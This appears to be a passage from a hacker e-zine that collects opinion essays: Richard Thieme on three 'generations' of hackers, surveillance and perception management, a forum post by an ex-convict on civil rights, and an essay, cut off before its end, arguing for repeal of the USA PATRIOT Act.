The government had to rename the new department when its name leaked ([2]).
[1] http://news.bbc.co.uk/1/hi/world/americas/1830500.stm
[2] http://www.fas.org/sgp/news/secrecy/2002/11/112702.html
[3] http://www.fas.org/sgp/news/2002/11/dod111802.html


|=-----------------------------------------------------------------------=|
|=-=[ Hacker Generations ]=----------------------------------------------=|
|=-----------------------------------------------------------------------=|

Hacker Generations

by

Richard Thieme <rthieme at thiemeworks.com>


    Richard Thieme speaks writes and consults about life on the edge,
creativity and innovation, and the human dimensions of technology. His
exploraitions of hacking, security, and many other things can be found at
http://www.thiemeworks.com). A frequent speaker at security conferences, he
keynoted the Black Hat Briefings - Europe in Amsterdam this year, the
security track of Tech Ed sponsored by Microsoft Israel in Eilat, and
returns to keynote Hiver Con in Dublin for a second time in November. In
addition to numerous security cons (Def Con 4,5,6,7,8,9,10,11and Black Hat
1,2,3,4,5,6,7, Rubicon 2,3,4,5), he has spoken for the FBI, Infragard, the
FS-ISAC, Los Alamos National Laboratory, and the US Department of the
Treasury. Clients include Microsoft Israel, GE Medical Systems, and Network
Flight Recorder.



First, the meaning of hacker
============================

    The word originally meant an inventive type, someone creative and 
unconventional, usually involved in a technical feat of legerdemain, a 
person who saw doors where others saw walls or built bridges that others 
thought were planks on which to walk into shark-filled seas. Hackers were 
alive with the spirit of Loki or Coyote or the Trickster, moving with 
stealth across boundaries, often spurning conventional ways of thinking and
behaving. Hackers see deeply into the arbitrariness of structures, how form
and content are assembled in subjective and often random ways and therefore
how they can be defeated or subverted. They see atoms where others see a 
seeming solid, and they know that atoms are approximations of energies, 
abstractions, mathematical constructions. At the top level, they see the 
skull behind the grin, the unspoken or unacknowledged but shared 
assumptions of a fallible humanity. Thats why, as in Zen monasteries, where 
mountains are mountains and then they are not mountains and then they are 
mountains again, hacker lofts are filled with bursts of loud spontaneous 
laughter.

    Then the playful creative things they did in the protected space of
their mainframe heaven, a playfulness fueled by the passion to know, to
solve puzzles, outwit adversaries, never be bested or excluded by arbitrary
fences, never be rendered powerless, those actions began to be designated 
acts of criminal intent.. That happened when the space inside the 
mainframes was extended through distributed networks and ported to the rest 
of the world where things are assumed to be what they seem. A psychic space 
designed to be open, more or less, for trusted communities to inhabit, 
became a general platform of communication and commerce and security became 
a concern and an add-on. Legal distinctions which seemed to have been 
obliterated by new technologies and a romantic fanciful view of cyberspace 
a la Perry Barlow were reformulated for the new not-so-much cyberspace as 
cyborgspace where everyone was coming to live. Technologies are first 
astonishing, then grafted onto prior technologies, then integrated so 
deeply they are constitutive of new ways of seeing and acting, which is 
when they become invisible.

    A small group, a subset of real hackers, mobile crews who merely
entered and looked around or pilfered unsecured information, became the
definition the media and then everybody else used for the word "hacker. "A
hacker became a criminal, usually defined as a burglar or vandal, and the
marks of hacking were the same as breaking and entering, spray painting
graffiti on web site walls rather than brick, stealing passwords or credit
card numbers.

    At first real hackers tried to take back the word but once a word is
lost, the war is lost.  Hackernow means for most people a garden variety of
online miscreant and words suggested as substitutes like technophile just 
don't have the same juice.

    So let's use the word hacker here to mean what we know we mean because
no one has invented a better word. We dont mean script kiddies, vandals, or
petty thieves. We mean men and women who do original creative work and play
at the tip of the bell curve, not in the hump, we mean the best and
brightest who cobble together new images of possibility and announce them
to the world. Original thinkers. Meme makers. Artists of pixels and empty
spaces.


Second, the meaning of hacker generations
=========================================

    In a speech at the end of his two terms as president, Dwight Eisenhower
coined the phrase "military-industrial complex" to warn of the consequences 
of a growing seamless collusion between the state and the private sector. 
He warned of a changing approach to scientific research which in effect 
meant that military and government contracts  were let to universities and 
corporations, redefining not only the direction of research but what was 
thinkable or respectable in the scientific world. At the same time, a 
"closed world" as Paul N. Edwards phrased it in his book of the same name, 
was evolving, an enclosed psychic landscape formed by our increasingly 
symbiotic interaction with the symbol-manipulating and identity-altering 
space of distributed computing, a space that emerged after World War II and 
came to dominate military and then societal thinking.

    Eisenhower and Edwards were in a way describing the same event, the 
emergence of a massive state-centric collaboration that redefined our 
psychic landscape. After half a century Eisenhower is more obviously 
speaking of the military-industrial-educational-entertainment-and-media 
establishment that is the water in which we swim, a tangled inescapable 
mesh of collusion and self-interest that defines our global economic and 
political landscape.

    The movie calls it The Matrix. The Matrix issues from the fusion of
cyborg space and the economic and political engines that drive it, a
simulated world in which the management of perception is the cornerstone of
war-and-peace (in the Matrix, war is peace and peace is war, as Orwell 
foretold). The battlespace is as perhaps it always has been the mind of 
society but the digital world has raised the game to a higher level. The 
game is multidimensional, multi-valent, played in string space. The 
manipulation of symbols through electronic means, a process which began 
with speech and writing and was then engineered through tools of literacy 
and printing is the currency of the closed world of our CyborgSpace and the 
military-industrial engines that power it.

    This Matrix then was created through the forties, fifties, sixties, and
seventies, often invisible to the hackers who lived in and breathed it. The
hackers noticed by the panoptic eye of the media and elevated to niche 
celebrity status were and always have been creatures of the Matrix. The 
generations before them were military, government, corporate and think-tank 
people who built the machinery and its webbed spaces.

    So I mean by the First Generation of Hackers, this much later
generation of hackers that emerged in the eighties and nineties when the
internet became an event and they were designated the First Hacker
Generation, the ones who invented Def Con and all its spin-offs, who
identified with garage-level hacking instead of the work of prior
generations that made it possible.

    Marshall McLuhan saw clearly the nature and consequences of electronic
media but it was not television, his favorite example, so much as the 
internet that provided illustrations for his text. Only when the Internet 
had evolved in the military-industrial complex and moved through 
incarnations like Arpanet and Milnet into the public spaces of our society 
did people began to understand what he was saying.

    Young people who became conscious as the Internet became public
discovered a Big Toy of extraordinary proportions. The growing availability
of cheap ubiquitous home computers became their platform and when they were
plugged into one another, the machines and their cyborg riders fused. They 
co-created the dot com boom and the public net, and made necessary the 
security spaceperceived as essential today to a functional society. All day 
and all night like Bedouin they roamed the network where they would, hidden 
by sand dunes that changed shape and size overnight in the desert winds. 
That generation of hackers inhabited Def Con in the "good old days," the 
early nineties, and the other cons. They shaped the perception as well as 
the reality of the public Internet as their many  antecedents at MIT, NSA, 
DOD and all the other three-letter agencies co-created the Matrix.

    So I mean by the First Generation of Hackers that extended or
distributed network of passionate obsessive and daring young coders who
gave as much as they got, invented new ways of sending text, images, sounds,
and looked for wormholes that let them cross through the non-space of the
network and bypass conventional routes. They constituted an online
meritocracy in which they bootstrapped themselves into surrogate families
and learned together by trial and error, becoming a model of self-directed
corporate networked learning. They created a large-scale interactive system,
self-regulating and self-organizing, flexible, adaptive, and unpredictable,
the very essence of a cybernetic system.

    Then the Second Generation came along.  They had not co-created the
network so much as found it around them as they became conscious.  Just a
few years younger, they inherited the network created by their elders. The
network was assumed and socialized them to how they should think and act.
Video games were there when they learned how to play. Web sites instead of
bulletin boards with everything they needed to know were everywhere. The 
way a prior generation was surrounded by books or television and became 
readers and somnambulistic watchers , the Second Generation was immersed in 
the network and became surfers. But unlike the First Generation which knew 
their own edges more keenly, the net made them cyborgs without anyone 
noticing. They were assimilated. They were the first children of the Matrix.

    In a reversal of the way children learned from parents, the Second 
Generation taught their parents to come online which they did but with a 
different agenda. Their elders came to the net as a platform for business, 
a means of making profits, creating economies of scale, and expanding into 
a global market. Both inhabited a simulated world characterized by porous 
or disappearing boundaries and if they still spoke of a digital frontier, 
evoking the romantic myths of the EFF and the like, that frontier was much 
more myth than fact, as much a creation of the dream weavers at CFP as the 
old west was a creation of paintings, dime novels and movies.

    They were not only fish in the water of the Matrix, however, they were
goldfish in a bowl. That environment to which I have alluded, the 
military-industrial complex in which the internet evolved in the first 
place, had long since built concentric circles of observation or 
surveillance that enclosed them around. Anonymizers promising anonymity 
were created by the ones who wanted to know their names. Hacker handles and 
multiple nyms hid not only hackers but those who tracked them. The extent 
of this panoptic world was hidden by denial and design. Most on it and in 
it didn't know it. Most believed the symbols they manipulated as if they 
were the things they represented, as if their tracks really vanished when 
they erased traces in logs or blurred the means of documentation. They 
thought they were watchers but in fact were also watched. The Eye that 
figures so prominently in Blade Runner  was always open, a panoptic eye. 
The system could not be self-regulating if it were not aware of itself, 
after all. The net is not a dumb machine, it is sentient and aware because 
it is fused bone-on-steel with its cyborg riders and their sensory and 
cognitive extensions.

    Cognitive dissonance grew as the Second Generation spawned the Third.
The ambiguities of living in simulated worlds, the morphing of multiple 
personas or identities, meant that no one was ever sure who was who. 
Dissolving boundaries around individuals and organizational structures 
alike ("The internet? C'est moi!") meant that identity based on loyalty, 
glue born of belonging to a larger community and the basis of mutual trust, 
could not be presumed.

    It's all about knowing where the nexus is, what transpires there at the
connections. The inner circles may be impossible to penetrate but in order 
to recruit people into them, there must be a conversation and that 
conversation is the nexus, the distorted space into which one is 
unknowingly invited and often subsequently disappears. Colleges, 
universities, businesses, associations are discovered to be Potemkin 
villages behind which the real whispered dialogue takes place. The closed 
and so-called open worlds interpenetrate one another to such a degree that 
the nexus is difficult to discern. History ends and numerous histories take 
their place, each formed of an arbitrary association and integration of 
data classified or secret at multiple levels and turned into truths, 
half-truths, and outright lies.

    Diffie-Hellman's public key cryptography, for example, was a triumph of
ingenious thinking, putting together bits of data, figuring it out, all 
outside the system, but Whit Diffie was abashed when he learned that years 
earlier (1969) James Ellis inside the closed worldof British intelligence 
had already been there and done that. The public world of hackers often 
reinvents what has been discovered years earlier inside the closed world of 
compartmentalized research behind walls they can not so easily penetrate. 
(People really can keep secrets and do.)  PGP was well, do you really think 
that PGP was news to the closed world?

    In other words, the Second Generation of Hackers, socialized to a
networked world, also began to discover another world or many other worlds
that included and transcended what was publicly known. There have always
been secrets but there have not always been huge whole secret WORLDS whose
citizens live with a different history entirely but thats what we have 
built since the Second World War. Thats the metaphor at the heart of the 
Matrix and that's why it resonates with the Third Generation. A surprising 
discovery for the Second Generation as it matured is the basis for 
high-level hacking for the Third.

    The Third Generation of Hackers knows it was socialized to a world 
co-created by its legendary brethren as well as numerous nameless men and 
women. They know that we inhabit multiple thought-worlds with different 
histories, histories dependent on which particular bits of data can be 
bought on the black market for truth and integrated into Bigger Pictures. 
The Third Generation knows there is NO one Big Picture, there are only 
bigger or smaller pictures depending on the pieces one assembles. 
Assembling those pieces, finding them, connecting them, then standing back 
to see what they say - that is the essence of Third Generation hacking. 
That is the task demanded by the Matrix which is otherwise our prison, 
where inmates and guards are indistinguishable from each other because we 
are so proud of what we have built that we refuse to let one another escape.

    That challenge demands that real Third Generation hackers be expert at 
every level of the fractal that connects all the levels of the network. It 
includes the most granular examination of how electrons are turned into 
bits and bytes, how percepts as well as concepts are framed and transported 
in network-centric warfare/peacefare, how all the layers link to one 
another, which distinctions between them matter and which dont. How the 
seemingly topmost application layer is not the end but the beginning of the 
real challenge, where the significance and symbolic meaning of the 
manufactured images and ideas that constitute the cyborg network create a 
trans-planetary hive mind. That's where the game is played today by the 
masters of the unseen, where those ideas and images become the means of 
moving the herd, percept turned into concept, people thinking they actually 
think when what has in fact already been thought for them has moved on all 
those layers into their unconscious constructions of reality.

    Hacking means knowing how to find data in the Black Market for truth, 
knowing what to do with it once it is found, knowing how to cobble things 
together to build a Big Picture. The puzzle to be solved is reality itself, 
the nature of the Matrix, how it all relates. So  unless youre hacking the 
Mind of God, unless you're hacking the mind of society itself, you arent 
really hacking at all. Rather than designing arteries through which the oil 
or blood of a cyborg society flows, you are the dye in those arteries, all 
unknowing that you function like a marker or a bug or a beeper or a gleam 
of revealing light. You become a means of control, a symptom rather than a 
cure.

    The Third Generation of Hackers grew up in a simulated world, a
designer society of electronic communication, but sees through the fictions
and the myths. Real hackers discover in their fear and trembling the
courage and the means to move through zones of annihilation in which
everything we believe to be true is called into question in order to
reconstitute both what is known and our knowing Self on the higher side of 
self-transformation. Real hackers know that the higher calling is to hack 
the Truth in a society built on designer lies and then the most subtle, 
most difficult part - manage their egos and that bigger picture with 
stealth and finesse in the endless ambiguity and complexity of their lives.

    The brave new world of the past is now everyday life. Everybody knows
that identities can be stolen which means if they think that they know they
can be invented. What was given to spies by the state as a sanction for 
breaking laws is now given to real hackers by technologies that make spies 
of us all.

    Psychological operations and information warfare are controls in the
management of perception taking place at all levels of society, from the 
obvious distortions in the world of politics to the obvious distortions of 
balance sheets and earnings reports in the world of economics. 
Entertainment, too, the best vehicle for propaganda according to Joseph 
Goebbels, includes not only obvious propaganda but movies like the Matrix 
that serve as sophisticated controls, creating a subset of people who think 
they know and thereby become more docile.  Thanks for that one, SN.

    The only free speech tolerated is that which does not genuinely
threaten the self-interest of the oligarchic powers that be.  The only
insight acceptable to those powers is insight framed as entertainment or an
opposition that can be managed and manipulated.

    Hackers know they don't know what's real and know they can only build
provisional models as they move in stealthy trusted groups of a few. They 
must assume that if they matter, they are known which takes the game 
immediately to another level.

    So the Matrix like any good cybernetic system is self-regulating,
builds controls, has multiple levels of complexity masking partial truth as
Truth. Of what else could life consist in a cyborg world? All over the
world, in low-earth orbit, soon on the moon and the asteroid belt, this
game is played with real money. It is no joke. The surrender of so many
former rights - habeas corpus, the right to a trial, the freedom from
torture during interrogation, freedom of movement without papers in ones
own country - has changed the playing field forever, changed the game.

    Third Generation Hacking means accepting nothing at face value,
learning to counter counter-threats with counter-counter-counter-moves. It
means all means and ends are provisional and likely to transform themselves
like alliances on the fly.

    Third Generation Hacking is the ability to free the mind, to live
vibrantly in a world without walls.

    Do not be deceived by uniforms, theirs or ours, or language that serves
as uniforms, or behaviors. There is no theirs or ours, no us or them. There
are only moments of awareness at the nexus where fiction myth and fact 
touch, there are only moments of convergence. But if it is all on behalf of 
the Truth it is Hacking. Then it can not fail because the effort defines 
what it means to be human in a cyborg world. Hackers are aware of the 
paradox, the irony and the impossibility of the mission as well as the 
necessity nevertheless of pursuing it, despite everything. That is, after 
all, why they're hackers.


Thanks to Simple Nomad, David Aitel, Sol Tzvi, Fred Cohen, Jaya Baloo, and
many others for the ongoing conversations that helped me frame this article.



Richard Thieme

|=-----------------------------------------------------------------------=|
|=-=[ Citizen Questions on Citizenship ]=--------------------------------=|
|=-----------------------------------------------------------------------=|

by Bootleg

(Please READ everything then check out my posts by Bootleg on this forum:
http://forums.gunbroker.com/topic.asp?TOPIC_ID=22130)

"A Citizen Questions on Citizenship" or "Are outlaws screwing your inlaws
 without laws?"

    What's the difference in "Rights" between a citizen who is an excon and
a citizen who is not? What law gives the government the right to
permanently take away certain rights from an excon without a judge
proscribing the rights be taken away? When has an excon ever been taken to
court to have his civil rights stripped away permanently?

    When has an excon ever been arrested and prosecuted on any law that 
specifically says since they are excons they must now go to trial to fight
for their right to keep all their civil rights? In American law, ONLY a
JUDGE can proscribe penalties against a citizen and only after being
allowed a trial by his peers and only for specific charges brought against
him. How then can an excons rights be stripped away if he has never been in
front of a judge for a charge of possessing civil rights illegally? What
law exists that states certain civil rights exist only for certain people? 

    I've been convicted of several felonies and not once during sentencing
has any judge ever said I was to loose any of my civil rights as part of my
sentence! If no judge has ever stripped my rights as part of any criminal
sentence they gave me, how then can I not still have them? Furthermore...
why does my wife and children also loose some of their civil rights simply
because they are part of my family even though they have never committed
any crime????

    Are excons having their civil rights taken WITHOUT due process and
without equal protection the true intent of the Bill of Rights and the
Constitution? Or should all rights be restored after an excon pays his debt
to society like they have always been throughout our history? Since an
excon is still a citizen, then what kind of citizen is he under our
Constitution that states all citizens have equal rights? If the government
can arbitrarily take most of an excons rights away without due process, can
they then take one or more rights away from other groups of citizens as
they see fit thus making a layered level of citizenship with only certain
groups enjoying full rights? Either they can do this or they can't
according to the Constitution. If they do it to even one group of
citizens...excons, then are they not violating the Constitution? Are all
American citizens "EQUAL" the Constitution and is that not the intent of
those that wrote the constitution as evidenced by their adding the "Bill of
Rights" guaranteeing "Equality" for ALL citizens?

    Just as "blacks" were slaves and had no rights even as freemen in the
past, even as women couldn't vote till the 20th century, even as the aged
and disabled were denied equal rights till recently, so now does one more
group of millions of citizens exist that are being uncoonstitutionally
denied their birthright as American citizens. This group is the millions of
American citizens that are exconvicts and their families! ARE THEY CITIZENS
OR NOT? The law says they still are citizens even if they are excons. If
this is the case, then under our Constitution, are not ALL citizens equal
having equal rights?

    If so, then exconvicts are illegally being persecuted and discriminated
against along with their families. How would you rectify this?

Nuff Said-
Bootleg

|=-----------------------------------------------------------------------=|
|=-=[ The Molting Wings of Liberty ]=------------------------------------=|
|=-----------------------------------------------------------------------=|

by Beaux75

Thesis:  The USA PATRIOT Act (USAPA) is too restrictive of the rights
mandated by the Constitution and must be repealed.

I.  Introduction
        A.  Circumstances leading up to the USAPA
        B.  A rushed job
        C.  Using public anxiety and war fever to push an unjust bill
II.  Domestic spying and the end of probable cause
        A.  Breaking down restrictions on unlawful surveillance
        B.  Side-stepping court orders and accountability
        C.  Sneak and peek
III.  Immigrants as suspects
        A.  Erosion of due process for legal immigrants
        B.  Criminal behavior now subject to detention and deportation
        C.  Denying entry based on ideology
IV.  Defining the threat
        A.  Accepted definition of terrorism
        B.  The USAPA and its overbroad definition
        C.  "Domestic terrorism"
V.  Silencing dissent
        A.  Questioning government policy can now be terrorism
        B.  Public scrutiny encouraged by present administration
                1.  Recruiting Americans to inform on Americans
                2.  Blind faith in political matters
                3.  Keeping our leaders in check and our citizens informed
VI.  Refuting common retort
        A.  "I do not want to be a victim of terrorism."
        B.  "I have nothing to worry about because I am not a terrorist."
        C.  "I am willing to compromise my civil rights to feel safer."
VII.  The future of civil rights at the present pace
        A.  Expansion of unprecedented and unchecked power
        B.  The illusion of democracy and our descent into fascism
        C.  Our leaders no longer have the public's best interests in mind
VIII.  Conclusion
        A.  The USAPA trounces the rights guaranteed to all Americans
        B.  People must stay informed
        C.  Vigilance in the struggle to maintain freedom

        Pros:
                1.  Act is unjust and violates civil liberties
                2.  Definition of "terrorist" reaches too far
                3.  Act is a stepping-stone toward fascism
                4.  Signals the decline of a democracy
        Cons:
                1.  Limits the effectiveness of anti-terrorism efforts
                2.  No longer have broad and corruptible powers
                3.  Must find new ways to prevent terrorism
                4.  Must maintain the rights of the people



                       The Molting Wings of Liberty

        In the darker alleys of Washington, DC, something very disturbing
is taking shape.  Assaults on our civil liberties and our very way of life
are unfolding before us, yet somehow we are blind to it.  What is shielding
us from the truth about the future of America is the cataract of ignorance
and misinformation brought on by mass paranoia.  One thing is definite and
overwhelming when the haze is lifted: our elected officials are knowingly
sacrificing our rights under the guise of national security.

        In the six weeks after the worst terrorist attacks on US soil, a
bill was hastily written and pushed through congress granting the executive
branch extensive and far reaching powers to combat terrorism.  Thus, the
awkwardly named "Uniting and Strengthening America by Providing Appropriate
Tools Required to Intercept and Obstruct Terrorism" or USA PATRIOT Act
(USAPA) was signed into law on October 26, 2001.  President George W. Bush,
in his remarks on the morning of the bill's signing stated, "Today we take
an essential step in defeating terrorism, while protecting the
constitutional rights of all Americans" (1).  How can it be said that this
law protects our constitutional rights when it can be utilized to violate
five of the ten amendments in the Bill of Rights?  The USAPA is a classic
example of political over-correction: it may provide our government and law
enforcement agencies with "appropriate tools" for combating terrorism, but
at what cost to the basic freedoms that this country was founded upon?

        Simply put, the USA PATRIOT Act is extremely dangerous to the
American people because its potential for corruptibility is so great.
Still, the 342-page tract was forced through Congress in near record time
with next to no internal debate and very little compromised revision.
Despite massive objection from civil rights watchdogs, it passed by an
unprecedented vote of 356-to-66 in the House of Representatives, and
98-to-1 in the Senate (Chang).  The Bush administration considered the
USAPA an astounding bipartisan success, but neglected to inform the public
of exactly what its provisions called for and conveniently left out that,
in order to gain such an encompassing victory, many of the new powers were
superceded by a "sunset clause" making some of the more sweeping and
intrusive abilities subject to expiration on December 31, 2005.  Most
recently, there have been numerous reports of the Republican controlled
Congress and their attempts to lift the sunset clause making these broad
powers permanent ("GOP Wants")

        Admittedly, the abilities mandated in the USAPA might help to
counteract terrorism to a minor degree, but the price of such inspired
safety means the systematic retooling of the very principles that every
American citizen is entitled to.  There is no doubt that this legislation
is a result of public outcry to ensure the events of September 11, 2001
never happen again, but the administration's across-the-board devotion to
internal secrecy was largely able to keep the bill from public eyes until
after it was jettisoned into law.  Even now, more than a year and a half
after its inception, no one seems to know what the USAPA is or does.

        From the Senate floor, under scrutiny for his lone vote against the
USAPA legislation, Wisconsin Senator Russ Feingold delivered his thoughts
on the bill:
        There is no doubt that if we lived in a police state, it would be
        easier to catch terrorists.  If we lived in a country where police
        were allowed to search your home at any time for any reason; if we
        lived in a country where the government is entitled to open your
        mail, eavesdrop on your phone conversations, or intercept your
        e-mail communications; if we lived in a country where people could
        be held in jail indefinitely based on what they write or think, or
        based on mere suspicion that they are up to no good, the
        government would probably discover more terrorists or would-be
        terrorists, just as it would find more lawbreakers generally.  But
        that wouldn't be a country in which we would want to live.  (qtd.
        in Hentoff)

        Senator Feingold's words make up a very relevant issue that has
been mentioned, but largely ignored by the Bush administration.  It seems
reasonable that most Americans would be willing to compromise certain
liberties in order to regain the necessary illusion of safety.  But what is
not universal is that those compromises become permanent.  In the wake of
recent Republican activity and the other proposed methods of quashing
terrorism, it is becoming more and more vital that the people of America
educate themselves on this issue and urge their leaders to repeal the USAPA
on the grounds that it is grossly unconstitutional.

        At the heart of the USAPA, is its intent to break down the checks
and balances among the three branches of government, allowing for a
wholesale usurping of dangerous powers by the executive branch.  Because of
this bill, the definition of terrorism has been broadened to include crimes
not before considered such; our first amendment rights of free speech,
assembly and petition can now fall under the heading of "terrorist
activity" and thusly, their usage will surely be discouraged; by merely
being suspected of a crime, any crime, it can strip legal immigrants of
their civil rights and subject them to indefinite detainment and possible
deportation; and most alarmingly of all, in a fit of extreme paranoia, it
allows for unprecedented domestic spying and intelligence gathering in a
cold war like throwback to East Berlin's Ministry of State Security
(STASI).

        On the subject of domestic spying, news analyst Daniel Schorr, in
an interview during All Things Considered on National Public Radio in the
latter half of 2002 said, "Spying on Americans in America is a historic
no-no that was reconfirmed in the mid-1970s when the CIA, the FBI and the
NSA got into a peck of trouble with congress and the country for conducting
surveillance on Vietnam War dissenters. A no-no, that is until September
11th.  Since then, the Bush administration has acted as though in order to
protect you, it has to know all about you and everyone" (Neary).

        Never before in the United States have law enforcement and
intelligence agencies had such sweeping approval to institute programs of
domestic surveillance.  In the past, things like wire-tapping, Internet and
e-mail monitoring, even access to library records were regulated by
judicial restrictions in conjunction with the fourth amendment and
"probable cause." Because of the USAPA, warrants have been made virtually
inconsequential and probable cause has become a thing of the past.  Medical
records, bank transactions, credit reports and a myriad of other personal
records can now be used in intel gathering (Collins).  Even the
restrictions on illegally gained surveillance and so-called "sneak and
peek" searches (that allow for covert, unwarranted, and in many cases
unknown, searches and possible seizures of private property) have been
lifted to the point of perhaps being admissible as evidence.  Mind you,
this is not just for suspicion of terrorist activity, but rather all
criminal activity and it can be corrupted to spy on anyone, regardless of
being a suspect or not.  In addition to all of this, there is a clause in
the USAPA that insulates the agencies who use and abuse these powers from
any wrong doing as long as they can illustrate how their actions pertain to
national security (Chang).  Under these provisions, everyone is a suspect,
regardless of guilt.  When no meaningful checks and balances are in play,
there is enormous capacity for corruption.

        For the sake of argument, say that an administration has a faceless
enemy in which they know to be affiliated with an organization that
questions recent government policy.  With this new power, the entire
organization and all of its present, past and future members can be spied
on by local and national law enforcement agencies.  Thanks to unchecked
sneak and peek searches, the members' private lives are now open for
scrutiny and the intelligence gathered can be used to trump up charges of
wrong-doing, even though the organization and its members have had their
first and fourth amendments clearly violated.  And because of asset
forfeiture laws already long in place, the government can now seize the
organization's and its members' property at will as long as they are
labeled as suspects.  Whether the case makes it to a courtroom or not is
irrelevant.  The government can now publicly question the integrity of the
organization, thereby damaging its credibility and possibly negating its
cause.  All this, and much worse, can now be done legally and virtually
without accountability.

        This closely parallels the 1975 Watergate investigation.  On this
topic, Jim McGee, journalist for The Washington Post, writes, "After wading
through voluminous evidence of intelligence abuses, a committee led by Sen.
Frank Church warned that domestic intelligence-gathering was a 'new form of
governmental power' that was unconstrained by law, often abused by
presidents and always inclined to grow" (1).

        Another flagrant disregard for basic civil and human rights is the
USAPA's stance on criminality and immigration.  We have already seen
immigrants suspected of crimes being detained unjustly.  In the near
future, we should expect to see a rise in deportation as well as a further
erosion of due process for legal immigrants.  It has now become legal to
detain immigrants, whether under suspicion of criminality or not, for
indefinite periods of time and without access to an attorney (Chang).  This
is in clear violation of their constitutional rights, but with the fear of
terrorism looming overhead, anyone who champions their cause is subject to
public survey.  Immigration is a hot potato of unjust activity, but one
that many Americans seem apt to ignore.  Newcomers to our country are
already treated as inferiors by our government and now, because of the
USAPA legislation, they are treated as suspects before any crime is even
committed.  More alarmingly, federal law enforcement agencies now have
influence to keep certain ethnicities out of America based on "conflicting
ideologies" (Chang).  The message being sent: conform to American standards
and belief systems or risk deportation.  The clause sounds more like a
scare tactic in order to keep what some deem as undesirables at bay, rather
than a tool for preventing terrorism.

        Even the definition of "terrorism" has undergone a major overhaul
in the USAPA.  Since 1983, the United States defined terrorism as "the
premeditated, politically motivated violence perpetrated against
noncombatant targets by subnational groups or clandestine agents, usually
intended to influence an audience" (Chang).  Essentially, it draws the line
at people who intend to impact a government through violence of its
civilians.  This definition has been around for close to twenty years and
has served its purpose well because of its straightforwardness.  It
addresses the point, and it does not overreach its bounds by taking into
consideration acts or organizations that are not related to terrorism.  As
of October 26, 2001, the definition has become muddled enough to include
"intimidation of civilian population," "affecting the conduct of government
through mass destruction, assassination or kidnapping," or any act that is
"dangerous to human life."  It also spurs off to include "domestic
terrorism" which is an act of terrorism by an internal organization (ACLU
04-Apr-03).  All of these pieces can be legitimately molded to include
activists, protestors, looters and rioters (all potentially dangerous to
human life); embezzlers and so-called computer hackers (dangerous to
financial institutions and therefore intimidating to civilians and
government); serial killers, mass murderers, serial rapists (dangerous to
human life and intimidation of civilians); and can even be stretched to the
point of including writers, publishers, journalists, musicians, comedians,
pundits and satirists based solely on their scope of influence.  To think
that by increasing the size of the terrorism umbrella, organizations like
People for the Ethical Treatment of Animals (PETA), Food Not Bombs (FNB),
and Anti-Racist Action (ARA) not to mention hundreds of thousands of
outspoken protestors and activists for political and social change can be
lumped in with the same international terrorist factions we have been
hearing about for years.

        In a report from the ACLU dated December 14, 2001, Gregory T.
Nojeim, Associate Director of the Washington National Office stated:
        There are very few things that enjoy almost unanimous agreement in
        this country.  One of the most important is our collective
        dedication to the ideals of fairness, justice and individual
        liberty.  Much of our government is structured around the pursuit
        of each of these ideals for every American citizen.  The
        Administration's actions over the past three months - its
        dedication to secrecy, the tearing down of barriers between
        intelligence gathering and domestic law enforcement and the erosion
        of judicial authority - are not in tune with these ideals.  (ACLU
        20-Apr-03)

        All of these provisions taken into account, it makes one wonder if
the Bush administration's commitment to ending terrorism is part of a
larger commitment to end political dissent in general.  After all, why
else would a bill that so blatantly violates our basic civil liberties have
been rushed through congress and signed into law on the horns of legitimate
public anxiety and war fever?  Thanks to the USAPA, the war on terrorism no
longer seems concentrated on reducing the loss of innocent life at the
hands of those who would kill to influence our government so much as it
focuses on anyone who would like to influence the government regardless of
their means or intended ends.

        Now is the time, when our leaders see fit to begin whittling away
at our basic rights that we need to be and stay informed and be as vocal as
possible.  Unfortunately, being outspoken may now land us in hot water, as
we are now subject to the frivolous and unjust laws contained in the USAPA.
Logic follows that if a government sees its own people as a threat, then it
will do what it can to effectively gag them.  Why would the American people
be seen as a threat?  All we have to do is wait out the current term and
vote someone else into his or her place.  That is, unless the right to vote
is next on the chopping block.

        Never before has their been a time when questioning government
action can turn someone into a terrorist and therefore an enemy of his own
country.  Standing up for beliefs is terrorist activity?  Voicing opinions
and writing letters to officials is terrorist activity?  The right to
privacy and against unreasonable searches and seizures without probable
cause is now terrorist activity?  No!  These are rights guaranteed to us by
our country's charter!

        Our leaders have seen fit to draw lines on the pavement and demand
its allies on one side and its enemies on the other.  They are recruiting
Americans to spy and inform on other Americans without discretion while
needlessly inflating the importance of such buzzword-labels as
"unpatriotic," and "un-American."  In addition, they are requiring those on
their side to have blind faith in their leadership.  Blind faith is a good
thing to have in certain walks of life, but political matters are most
assuredly not one of them.  The main reason being that we are all humans
and therefore subject to the same shortcomings and corruptibility as every
other human being.  For our leaders to somehow suggest that they are above
this means that they are extremely misguided in their pursuits and may no
longer hold the public's best interests in mind.

        A report issued by the Center for Constitutional Rights (CCR) one
year after September 11, 2001 contained this apt summation:
        The Bush Administration's war against terrorism, without boundary
        or clear end-point, has led to serious abrogation of the rights of
        the people and the obligations of the federal government.  Abuses,
        of Fourth and Fifth Amendment rights in particular, have been
        rampant, but more disturbing is the attempt to codify into law
        practices that erode privacy, free speech, and the separation of
        powers that is the hallmark of our democracy. (CCR 16)

        Now is the time to become and stay informed and make sure that our
leaders know that we are.  There is a complacency that has permeated our
culture, which dictates that people can not be bothered to take an interest
in political policy.  "Leave the politics to the politicians," is the usual
cry.  Many people don't even try to learn about governmental policy because
they do not think they will understand it.  Admittedly, politics is not as
palatable as several thousand other things; root canal surgery somehow
seems less painful.  But it is imperative that we make the effort to
protect ourselves from an administration that sees us as unwitting sheep.
Especially now, when checks and balances are systematically being broken
down within the structure of our governing body, it is upon us to keep our
leaders from becoming excessively corrupt and hold them accountable for
trying to trample on our freedoms.

        The public anxiety caused by recent events has been overwhelming.
There is no one in this country that wishes to be a victim of terrorism,
and the odds of it happening are miniscule at best.  Terrorism itself is a
minor occurrence, but the fear of it has ballooned to the point of mass
paranoia, which today, seems to be more of a mode of operation rather than
a temporary affliction.  It is wrong for our leaders to use that fear and
paranoia in order to limit our freedoms, regardless of the cost.

        There are those who feel that they have nothing to worry about
because they are not terrorists.  This logic is faulty because it assumes
that our law enforcement agencies see us as innocents, which is no longer
the case under the USAPA.  Everyone is treated as a suspect until proven
otherwise, and even then, the connotation of being a suspected terrorist is
enough to ruin an innocent person's life.  Under the 1983 definition of
terrorism, far fewer people than what we are now told would fit the bill.
By suspecting everyone, more overall undesirables will be weeded out but
only a few of those will actually be terrorists.

        Since the World Trade Center disaster, there has been mass
speculation as far as what liberties we, as a nation, may have to give up
as a result of national security.  And there are those who are so afraid of
the threat that they are willing to go along with this one-sided argument.
